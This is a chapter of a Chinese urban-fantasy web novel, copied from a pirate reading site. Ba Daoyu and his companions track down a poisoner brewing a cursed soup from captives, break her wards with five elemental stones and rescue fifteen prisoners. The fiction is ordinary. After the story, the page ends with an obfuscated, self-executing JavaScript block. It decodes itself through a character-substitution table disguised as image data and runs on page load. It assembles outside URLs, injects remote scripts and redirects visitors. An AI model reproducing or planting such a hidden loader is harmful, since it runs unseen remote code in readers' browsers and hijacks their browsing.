首页
第0647章 铁锈与寒冰
返回
关灯 护眼:关 字号:小

第0647章 铁锈与寒冰

章节报错(免登陆)

一秒记住【笔趣阁】
biquge521.com,更新快,无弹窗!

    第0647章铁锈与寒冰(第1/2页)
    第二天一早,巴刀鱼是被娃娃鱼摇醒的。
    “赵婶跑了。”
    巴刀鱼从床上弹起来,脑袋差点撞到阁楼的横梁。他揉着额头,看见娃娃鱼站在床边,手里捏着一张皱巴巴的纸条,脸上难得地没了嬉皮笑脸。
    “什么时候的事?”
    “今天凌晨。我睡不着,蹲在窗口数星星,看见赵婶提着一个大箱子出了门,往城东方向走了。我喊了酸菜汤姐,她追出去看了一眼,人已经没影了。这是在她家门口捡到的。”
    巴刀鱼接过纸条。上面用圆珠笔歪歪扭扭写了一行字:“我对不起刀鱼,可我不后悔。”
    “不后悔?”酸菜汤从楼梯口探出脑袋,头发乱得像鸡窝,眼睛下面挂着两个青色的眼袋,“她往我兄弟的酸菜缸里下毒,她还‘不后悔’?我追出去的时候她家门口连鞋印都没留下,跑得比兔子还快。”
    巴刀鱼把纸条翻过来,背面还有一行更小的字,铅笔写的,模模糊糊,像是写的人手在发抖:“那些粉末是一个戴手套的女人给我的。她说只要倒进刀鱼的酸菜缸里,就给我十万块,让我儿子娶上媳妇。”
    “戴手套的女人。”巴刀鱼把纸条折好,揣进口袋,“昨天娃娃鱼闻到的第二个人,手很干净,心里很冷。看来是个女的。”
    娃娃鱼举手:“我再闻闻,能闻出更多东西。”
    “先等等。”巴刀鱼走到窗前,推开窗户。城中村的早晨喧闹得很,早点摊的油烟味、垃圾车的酸臭味、下水道翻上来的沼气味混在一起,从巷口灌进来。他深吸了一口气,透玉瞳不在,但厨道玄力在体内转了一圈,把那些气味一一“拆”开——油烟里有地沟油的痕迹,沼气的味道发苦,而最远处,城东方向,有一丝极淡的、甜腻到发腻的香气飘过来。
    甜得不对劲。像是什么东西腐烂之后被人洒了香水。
    “城东。”他说,“赵婶往城东跑了,那个戴手套的女人也在城东。”
    酸菜汤已经穿好了外套,把菜刀往腰后一别:“那还等什么?走。”
    “你刀收起来,我们是去查事情,不是去砍人。”
    “万一要砍呢?”
    巴刀鱼看了她一眼,没再说什么,只是把腰后的刀往里推了推,推得严丝合缝。酸菜汤翻了个白眼。
    三个人出了门。娃娃鱼走在最前面,鼻子时不时抽动一下,像一只追踪猎物的小狗。城中村的巷子窄得只能容一人通过,两边是密密麻麻的握手楼,头顶的电线缠得像蜘蛛网,阳光被切成一条一条的,落在地上忽明忽暗。
    走过三条巷子,娃娃鱼忽然停住了。
    “拐弯。往左。”
    左边是一条更窄的巷子,墙上贴满了小广告,地上积着没干的污水。巷子尽头是一栋独立的二层小楼,外墙贴着白色瓷砖,在一排灰扑扑的握手楼里格外显眼。楼门紧闭,窗帘拉得严严实实,但巴刀鱼看见了——二楼的窗缝里,有人影闪了一下。
    “就是这里。”娃娃鱼压低声音,“那个甜腻的味道就是从这栋楼里飘出来的。但里面还混着别的东西……铁锈味,药味,还有——”
    她忽然打了个哆嗦。
    “还有什么?”
    “血腥味。很多人的。”
    酸菜汤的手摸向腰后的菜刀。巴刀鱼按住她的手腕,摇了摇头。他走到门前,抬手敲了三下。
    门内安静了几秒。然后,一个女人的声音传出来,温温柔柔的,像是泡在蜜糖水里:“谁呀?”
    “查水表的。”
    门内又安静了。巴刀鱼以为对方会不开门,可没想到,门锁“咔嗒”一声弹开,门向内拉开一道缝。缝里露出一张脸。
    三十来岁,皮肤白净,五官端正,说话的时候嘴角微微翘着,看着像个体面人。可巴刀鱼的厨道玄力在体内猛地一缩,像是一锅滚油里忽然被泼了一瓢冷水,炸得他五脏六腑都在翻腾。
    这张脸他见过。在半年前,城中村菜市场,那个卖“特价猪肉”的女人。那批猪肉价格低得离谱,他买回去一切开,肉里全是蓝色的注胶。他把肉退回去,女人笑着退了钱,一句怨言没有。第二天那家猪肉铺就关了门,人也没了踪影。
    “你……”他盯着那张脸。
    “我什么?”女人歪了歪头,笑容甜美,“巴师傅,进来坐坐?我这儿的茶,可比你那个酸菜汤香多了。”
    酸菜汤在后面低声骂了一句。巴刀鱼抬起手,示意她别动。
    “赵婶的悲玉粉,是你给的?”
    “是呀。”女人答得干脆,“我给了她十万块,让她倒进你的酸菜缸里。我以为她会偷偷摸摸地干,没想到她笨手笨脚的,三天就被你发现了。”
    “你是谁?”
    “我是谁不重要。重要的是——”女人把门缝拉大了一点,露出身后昏暗的走廊。走廊尽头有一扇半开的门,门内透出暗红色的光,那股甜腻到发腻的香气和血腥味混在一起,浓得几乎让人作呕,“我做了好东西。巴师傅要不要进来尝尝?”
    巴刀鱼的瞳孔缩了一下。透玉瞳不在,但他有厨道玄力。那股从门内涌出来的气息里,他“看”见了一堆纠缠在一起的东西——被污染的原石、碾碎的悲玉粉、还有某种活物被强行碾碎后留下的怨气。这是一锅用玄界禁品熬制的“汤”,比悲玉粉恶毒十倍。
    “你在炼‘百怨羹’。”他说。
    女人的笑容终于僵了一瞬。
    “你知道百怨羹?”
    “我在书上看到过。以悲玉为基,加入九十九种被虐杀的生灵残魂,熬制四十九天,能炼制出一种让人完全丧失意志的毒。吃了的人会变成行尸走肉,任你摆布。”
    女人的眼睛亮了,像是毒蛇发现了猎物的体温:“不错。巴师傅果然有见识。可惜你猜错了一件事——不是九十九种,是一百零八种。多加了九种,效果更好。”
    酸菜汤再也忍不住了,从巴刀鱼身后冲出来,菜刀直指女人的鼻尖:“你他妈是人吗?虐杀活物炼丹,你就不怕遭报应?”
    女人脸上的笑彻底收了,露出一副冷冰冰的表情。
    “报应?小姑娘,你嘴里这口酸汤才是报应。你以为你那个巴刀鱼是多干净的人?他当年在城西菜市场,为了抢一个摊位,他爹把隔壁摊主的手指头剁了——”
    “闭嘴!”巴刀鱼低喝一声。
    可那句话已经扎进了酸菜汤的耳朵里。她回头看了巴刀鱼一眼,眼神里有什么东西晃了一下。
    巴刀鱼没有解释。他知道这是女人在挑拨,也知道酸菜汤不会蠢到全信。可那句话像一根刺,扎进去容易,拔出来难。
    他深吸一口气,把厨道玄力推到极限。金光从指尖涌出,像一条细而韧的线,无声无息地穿过门缝,绕向女人的手腕。
    女人反应极快,左手一翻,指缝间夹着一枚黑色玉片,猛地切断了金线。玉片上的黑气沿着金线反噬过来,巴刀鱼手腕一麻,金光断了一截。
    “厨道玄力,不过如此。”女人往后退了一步,退进走廊里,“巴师傅,我给你三天时间。三天之后,我会在城东市场摆一锅‘百怨羹’,免费送。你觉得你的酸菜汤能解多少人的毒?解一个,两个,十个?我那一锅够几百个人吃。”
    她笑了笑,关上了门。
    门锁“咔嗒”一声重新扣死。巴刀鱼站在原地,手腕上的麻意还没退。酸菜汤冲上去踹了一脚门,门纹丝不动。
    “让我进去!我砍了她!”
    “别踹了。”巴刀鱼拉住她,“门上布了邪玉阵,踹不开的。”
    娃娃鱼蹲在门口,鼻子贴着地缝猛吸了几口气。她抬起头,脸色惨白。
    “巴刀鱼,里面……里面有好多人。活的。被关在地下室里。至少十几个。”
    酸菜汤的菜刀“当”一声掉在地上。
    巴刀鱼闭上眼睛。厨道玄力在体内缓缓流转,他把那股翻腾的恶心感压下去,把恐惧压下去,把愤怒压下去。十秒钟后,他睁开眼,眼神冷静得不像他。
    “报警。”
    “报警有用吗?”酸菜汤捡起菜刀,声音在抖,“这是玄界的事,普通警察管不了。”
    “那就找管得了的人。”巴刀鱼掏出手机,翻出一个存了半年没打过的号码。那是玄厨协会的紧急联络号,当初在城西菜市场觉醒厨道玄力的时候,协会的人给他留的。他一直没打,因为他不想跟协会扯上关系。可现在,没别的办法了。
    电话响了三声,接通了。
    “玄厨协会,请报编号。”
    “我没有编号。我叫巴刀鱼,城中村真味居的厨子。城东永宁巷十七号,有食魇教余党在炼制百怨羹,地下室关着十几个活人。你们管不管?”
    电话那头沉默了三秒。
    “巴刀鱼……真味居?”对方的语气忽然变得很奇怪,“你等一下。”
    又过了几秒,另一个声音从电话里传来。那声音沙哑低沉,像是一块老姜被人从土里刨出来。
    “小巴。”
    巴刀鱼浑身一震。
    “黄……黄片姜?”
    (本章未完,请点击下一页继续阅读)第0647章铁锈与寒冰(第2/2页)
    “别打这个电话了。协会内部有人盯着这个号。我来找你。二十分钟,你在永宁巷口等着。”
    “黄片姜,你怎么……”
    “别问。二十分钟。”电话挂了。
    巴刀鱼看着手机屏幕,愣了很久。酸菜汤凑过来:“谁?”
    “黄片姜。我师父。”
    “你什么时候有师父了?”
    “我也不知道。”巴刀鱼把手机揣起来,苦笑了一下,“但他刚才叫我‘小巴’。这个称呼,只有我爹这么叫过。”
    二十分钟后,永宁巷口。
    一辆破得掉渣的电动三轮车吱吱呀呀地停下来,车斗里堆满了麻袋和菜筐。骑车的人跳下来,是个五十来岁的老头,矮胖身材,脸黑得像锅底,穿着一件被油渍浸透的灰布围裙,头上扣着顶草帽,怎么看都像个赶早市的菜贩子。
    可他一下车,巴刀鱼体内的厨道玄力就猛地跳了一下。像是锅里烧开的油,忽然被丢进一块冰,炸得噼里啪啦。
    黄片姜走到他面前,上下打量了他一眼,忽然笑了。
    “长这么大了。”
    “你认识我爹?”
    “认识。”黄片姜收了笑,从围裙兜里摸出一根烟点上,深吸一口,“你爹死之前,把你托付给了我。我没照顾好你,让你一个人在城中村摸爬滚打这么多年。对不住。”
    巴刀鱼不知道该说什么。他有一肚子问题,可此刻一个字都问不出来。
    黄片姜把烟掐灭,目光越过他的肩膀,落在那栋白色小楼上。
    “百怨羹的事,我盯了一个月了。那个女人叫寒玉,食魇教的余孽,手上沾了不止一百条人命。她在城东不止这一处窝点,地下室关的那些人,是用来做‘引子’的——她先把人折磨到崩溃,再抽出来魂气炼羹。”
    酸菜汤的脸白了:“那我们现在就冲进去——”
    “冲什么冲。”黄片姜瞪了她一眼,“你以为那栋楼是随便进的?里面有七道邪玉阵,每一道都能把玄力者绞成肉泥。你进得去,出不来。”
    “那怎么办?等她把那锅东西炼好?”
    黄片姜从菜筐底下抽出一个布包,打开。里面是五块颜色各异的石头——赤红、青蓝、金黄、白亮、漆黑。
    “五行灵材。”巴刀鱼脱口而出。
    “认得?”
    “书上看过。五行灵材能炼镇界宴,也能破邪玉阵。”
    “聪明。”黄片姜把布包递给他,“你爹给你留的。他说等你遇到第一个坎的时候用。”
    巴刀鱼接过布包,手在抖。
    “我爹……他到底是什么人?”
    “你爹是上一代厨神。”黄片姜重新骑上电动三轮车,发动了引擎,突突突的噪音盖过了他的后半句话,“只是他死得早。没来得及教你。”
    他回头看了巴刀鱼一眼:“今晚子时,动手破阵。你主厨,我打下手。酸菜汤和娃娃鱼负责救人。有意见没有?”
    酸菜汤张了张嘴,被巴刀鱼按住了肩膀。
    “没有。”
    “好。”黄片姜拧了一把油门,三轮车蹿了出去,丢下一句话,“晚上见。别迟到了。”
    车子拐过巷口,消失在车流里。
    巴刀鱼站在路灯下,手里攥着那五块温热的灵材,望着那栋白色小楼。寒玉的笑脸在脑子里转了一圈,然后被他爹的面孔盖过去了。他没见过他爹年轻时的样子,可此刻他忽然觉得,他爹应该长得跟他很像。
    他低头看了看手里的灵材,又转头看了看酸菜汤和娃娃鱼。
    “今晚有一场硬仗。”
    酸菜汤把菜刀重新别回腰后,咧嘴一笑:“怕什么。你主厨,我打下手。黄片姜那个老东西看着不靠谱,但他既然敢来,就肯定有底。”
    娃娃鱼举起手:“我负责闻。”
    “闻什么?”
    “闻地下室的人在哪。”娃娃鱼的眼睛亮亮的,“我能闻出来。”
    巴刀鱼点点头。他蹲下来,把灵材一块一块摆在面前的水泥地上。五行灵材散发出的光芒映着他的脸,暖的,冷的,跳动的,沉稳的,锋利的,混在一起,像是他这半年来走过的路。
    他伸出手,把五块灵材依次握了握。每一块入手,脑子里都闪过一个画面——他爹在灶台前颠勺,他娘在旁边切菜,一家三口围着一张油腻腻的小桌子吃饭。
    他没见过那些画面。可此刻它们清晰得像昨天的事。
    他站起来,把灵材收好。
    “走吧。回去准备。”
    三个人转身往城中村走。巷子很窄,路灯昏黄,他们的影子被拉得又细又长,叠在一起,像一棵树分出的三根枝杈。娃娃鱼走在中间,左边牵着巴刀鱼的手,右边牵着酸菜汤的手。酸菜汤的掌心粗糙,全是茧子。巴刀鱼的掌心滚烫,像揣了一团火。
    娃娃鱼忽然说:“今晚过了之后,你们还会在吧?”
    酸菜汤笑了:“废话。不在我去哪?”
    巴刀鱼没说话,但他握紧了娃娃鱼的手。
    走到城中村口,包子铺的王婶正在收摊,看见他们三个,远远喊了一声:“刀鱼!明天的包子给你留着啊!你上次说爱吃茴香馅的!”
    “好嘞王婶!多留两笼!”
    “放心!”
    巴刀鱼推开真味居的后门,厨房里的一切还是昨天的样子。酸菜缸、菜刀、案板、灶台。他走过去,把灶火重新点着。火苗蹿起来,映红了四壁。他往锅里倒了水,丢了几片姜,又抓了一把枸杞扔进去。
    酸菜汤凑过来:“干嘛?”
    “煮碗汤。喝了干活。”
    “又是酸菜汤?”
    “不是。”巴刀鱼往汤里又加了两颗红枣,“这是我爹的方子。姜、枸杞、红枣,三样东西煮成一碗。喝了之后,三个时辰之内,厨道玄力不会枯竭。”
    酸菜汤接过碗,喝了一口。汤很清淡,微微回甘。她放下碗,看了巴刀鱼一眼。
    “刚才那个女人说的……菜市场的事……”
    “假的。”巴刀鱼打断她,“我爹这辈子没剁过别人手指头。他剁过自己的。有一年城西菜市场有人来收保护费,他拿刀往自己手上比划,说‘你再往前一步,这只手就送你了’。那人吓跑了。”
    酸菜汤盯着他看了很久,忽然笑了。
    “我就说嘛。”
    “你刚才信了?”
    “信了一秒。”
    “一秒都嫌多。”
    酸菜汤捶了他一拳,转身出去收拾装备了。娃娃鱼蹲在灶台旁边,用筷子戳着锅里的红枣,小声嘀咕:“枣子还挺甜的……”
    巴刀鱼看着她们,忽然觉得手里的汤碗很沉。
    子时。城东永宁巷。
    月亮被云层遮住,巷子里黑得伸手不见五指。巴刀鱼、黄片姜、酸菜汤、娃娃鱼四个人站在白色小楼门口。黄片姜从围裙里摸出一把生锈的菜刀,在门上划了三道。每一刀下去,门上的邪玉阵就亮一下,然后暗下去一道。
    “第一道,开。”黄片姜收了刀,回头看了巴刀鱼一眼,“剩下的交给你。”
    巴刀鱼深吸一口气,从布包里取出五块灵材。赤红属火,青蓝属水,金黄属土,白亮属金,漆黑属木。他把五块灵材按五行方位摆在门前的水泥地上,双手结印,厨道玄力尽数涌出。
    金光如洪流,灌入五行灵材。灵材同时亮起,化作五道光柱,直冲云霄。五色光芒交织成网,罩住整栋小楼。邪玉阵在黑光中疯狂挣扎,七道黑气如蟒蛇般反扑,却被五色光网死死压住,一道一道碾碎。
    楼内传来寒玉的尖啸。窗户玻璃炸碎,一道黑影从二楼破窗而出,朝巷口逃去。
    酸菜汤拔腿要追,被黄片姜按住了肩膀。
    “别追。她跑不了。”
    “为什么?”
    黄片姜指了指那五色光网。光网的中心,不知什么时候多了一个东西——龙渊玉母的虚影。虚影散发着古老的金光,把寒玉的黑气彻底锁死在光网之内。
    巴刀鱼浑身一震。他没见过龙渊玉母,可此刻他看着那个虚影,像是看见了老朋友。
    “你爹留的。”黄片姜拍了拍他的肩,“他这辈子就干了这一件事——把龙渊玉母的种子,藏在了他儿子的厨道玄力里。”
    光网收拢。寒玉的身影从黑暗中坠落,摔在巷子的污水里,再没爬起来。
    娃娃鱼已经冲进了小楼的地下室。几分钟后,她跑出来,满脸是泪。
    “十五个人。都活着。”
    酸菜汤把菜刀往地上一插,仰头望着夜空。乌云散开,月光洒下来,照着她脸上那点没擦干的湿痕。
    巴刀鱼站在五色光网的余烬中,手里攥着五块已经变凉的灵材。他抬头看着月亮,忽然想起他爹。
    那个他没见过几面的、早死的、上一代厨神。
    他想问一句:“爹,你看到了吗?”
    夜风拂过巷口,卷起地上的碎纸屑,打了个旋,往月亮的方向去了。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();